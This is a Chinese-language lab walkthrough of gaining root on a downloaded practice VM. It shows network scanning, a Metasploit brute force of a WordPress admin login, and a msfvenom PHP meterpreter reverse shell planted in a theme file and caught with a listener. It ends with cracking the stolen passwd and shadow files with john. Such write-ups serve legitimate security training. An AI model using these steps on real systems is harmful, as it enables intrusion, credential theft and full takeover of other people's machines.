这个镜像是从外国博客上下载的。
加载后只有用户名,没有密码,破解的目标就是拿到root权限。
首先在kalil上用netdiscover命令获取目标的ip。我用的是netdiscover -r 192.168.140.0/24,因为我知道这个vm在140的ip段。-r这个参数可以缩小扫描范围。
- netdiscover -r IP
之后用NMAP扫描目标端口
- nmap IP
开了3个端口21 ftp,22 ssh,80http
由于开了http端口,所以把目标ip复制到浏览器,看看目标有没有网站之类的。
果然有,但是得不到什么有用的信息。
用nikto尝试扫描目标ip
- nikto -h IP
有一个secret的文件夹
这一步用DirBuster也可以。
访问它。
是wordpress搭建的。但没办法访问登陆界面。
更改本机hosts,把ip 和域名加上。(nikto和DirBuster都可以看出域名)
- 192.168.140.133 vtcsec
hosts文件在/etc/
这次可以进入登陆界面了。
而且可以发现admin是登陆名之一。(根据错误提示)
用 metasploit尝试破解这个密码。
- msfconsole (进入控制台)
有的系统这一步会报错 :failed to connect to database,用service postgresql start 命令开启服务再重启metasploit就好了。
- msf > use auxiliary/scanner/http/wordpress_login_enum
- msf auxiliary(wordpress_login_enum) > set username admin (设置用户名)
- msf auxiliary(wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt (这个应该是设置密码本)
- msf auxiliary(wordpress_login_enum) > set targeturi /secret/
- msf auxiliary(wordpress_login_enum) > set rhosts 192.168.140.133 (设置目标io)
- msf auxiliary(wordpress_login_enum) > run (启动)
已经获得密码了 admin
登陆
已经可以用管理员权限修改网页了,下一步只要找个地方注入代码就可以了。
用msf生成shell
- msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.140.134 lport=1111 -f raw
这里可以用 msfvenom 获取相关参数(--list formats/payloads 等等获取更详细的参数)这个工具还可以生成攻击windows的exe代码(操作和这个实验的差不多),还有java,c,python等等都可以。
复制<?php到die()之间的内容
我把它放在了comments里面了,替换掉本来的php代码,其实哪里都行(我最开始放在404里面,后来不知道去哪触发这个代码。。)
提交。
之后用msf监听。
- msf > use multi/handler
- msf exploit(handler) > set payload php/meterpreter/reverse_tcp
- msf exploit(handler) > set lhost 192.168.40.133
- msf exploit(handler) > set lport 1111
- msf exploit(handler) > run
然后去网站触发刚刚生成的shell
渗透成功
下载目标机器的密码
之后用 unshaow 混合 passwd和shadow 文件,再用john命令获得用户名密码
- unshadow passwd shadow > cracked
- john cracked
--show 显示密码
用户名密码都是marlinspike
用ssh登陆它,发现marlinspike就有root权限。